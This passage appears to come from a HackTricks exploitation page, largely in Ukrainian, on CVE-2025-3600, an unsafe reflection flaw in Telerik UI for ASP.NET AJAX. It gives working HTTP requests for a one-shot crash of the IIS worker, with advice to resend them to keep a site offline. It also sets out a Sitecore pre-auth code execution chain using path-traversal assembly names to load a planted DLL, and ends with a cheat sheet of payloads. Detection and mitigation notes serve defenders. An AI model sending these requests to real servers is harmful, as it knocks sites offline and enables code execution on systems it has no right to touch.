private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Exploit primitive: Керований рядок типу → Type.GetType його розпізнає → Activator.CreateInstance виконує його публічний безпараметричний конструктор. Навіть якщо запит пізніше відхилено, побічні ефекти gadget вже відбулися.

## Універсальний DoS gadget (no app-specific gadgets required)

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper у System.Management.Automation (PowerShell) має фіналізатор, який звільняє неініціалізований дескриптор, що спричиняє необроблене виключення під час фіналізації GC. Це надійно призводить до аварійного завершення IIS worker process незабаром після інстанціювання.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

• Надсилайте періодично, щоб утримувати сайт offline. Ви можете спостерігати constructor у debugger; crash відбувається під час finalization.

From DoS to RCE – escalation patterns

Unsafe constructor execution unlocks many target‑specific gadgets and chains. Шукайте:

1. Parameterless constructors that process attacker input

• Деякі ctors (або static initializers) одразу читають Request query/body/cookies/headers та (de)serialize їх.
• Приклад (Sitecore): a ctor chain reaches GetLayoutDefinition() яка читає HTTP body “layout” і десеріалізує JSON via JSON.NET.

2. Constructors that touch files

• Ctros, що load або deserialize config/blobs з диска, можуть бути coerced, якщо ви можете записувати у ці шляхи (папки uploads/temp/data).

3. Constructors performing app-specific ops

• Скидання стану, перемикання модулів або завершення процесів.

4. Constructors/static ctors that register AppDomain event handlers

• Багато додатків додають AppDomain.CurrentDomain.AssemblyResolve handlers, які будують шляхи до DLL з args.Name без санітизації. Якщо ви можете вплинути на type resolution, ви можете coerce довільні DLL loads з attacker‑controlled шляхів.

5. Forcing AssemblyResolve via Type.GetType

• Запросіть неіснуючий тип, щоб примусити CLR resolution і викликати зареєстровані (можливо insecure) resolvers. Example assembly-qualified name:

This.Class.Does.Not.Exist, watchTowr

6. Фіналізатори з руйнівними побічними ефектами

• Деякі типи видаляють файли за фіксованим шляхом у фіналізаторах. У поєднанні з link-following або передбачуваними шляхами це може дозволити локальне підвищення привілеїв у певних середовищах.

Example pre‑auth RCE chain (Sitecore XP)

• Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
• Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
• Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.

Trigger examples

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Валідація, пошук і DFIR-примітки

• Безпечна валідація в лабораторії: запустіть DoS payload і слідкуйте за перезапуском пулу додатків/необробленими винятками, пов’язаними з WSMan finalizer.
• Пошук у телеметрії:
• Запити до /Telerik.Web.UI.WebResource.axd з type=iec та дивними значеннями prtype.
• Невдалі завантаження типів та події AppDomain.AssemblyResolve.
• Раптові збої/перезапуски w3wp.exe після таких запитів.

Mitigation

• Оновіть до Telerik UI for ASP.NET AJAX 2025.1.416 або новішої версії.
• Приберіть або обмежте експозицію Telerik.Web.UI.WebResource.axd там, де це можливо (WAF/rewrites).
• Ігноруйте або посильте обробку prtype на стороні сервера (оновлення застосовує належні перевірки перед створенням екземпляру).
• Перевірте й посильте користувацькі обробники AppDomain.AssemblyResolve. Уникайте формування шляхів з args.Name без санітизації; віддавайте перевагу strong-named завантаженням або білому списку.
• Обмежте місця завантаження/запису та запобігайте потраплянню DLL у пророблювані директорії.
• Моніторте спроби завантаження неіснуючих типів, щоб виявляти зловживання резолвером.

Шпаргалка

• Перевірка наявності:
• GET /Telerik.Web.UI.WebResource.axd
• Шукайте відображення обробника в web.config
• Exploit skeleton:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>

• Universal DoS:

...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

• Тригер резолвера:

This.Class.Does.Not.Exist, watchTowr

Пов’язані техніки

• IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

• ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Джерела

• Progress Telerik – Unsafe Reflection Vulnerability (3600)
• watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
• Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
• ZDI – Abusing arbitrary file deletes to escalate privilege
• watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
• Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.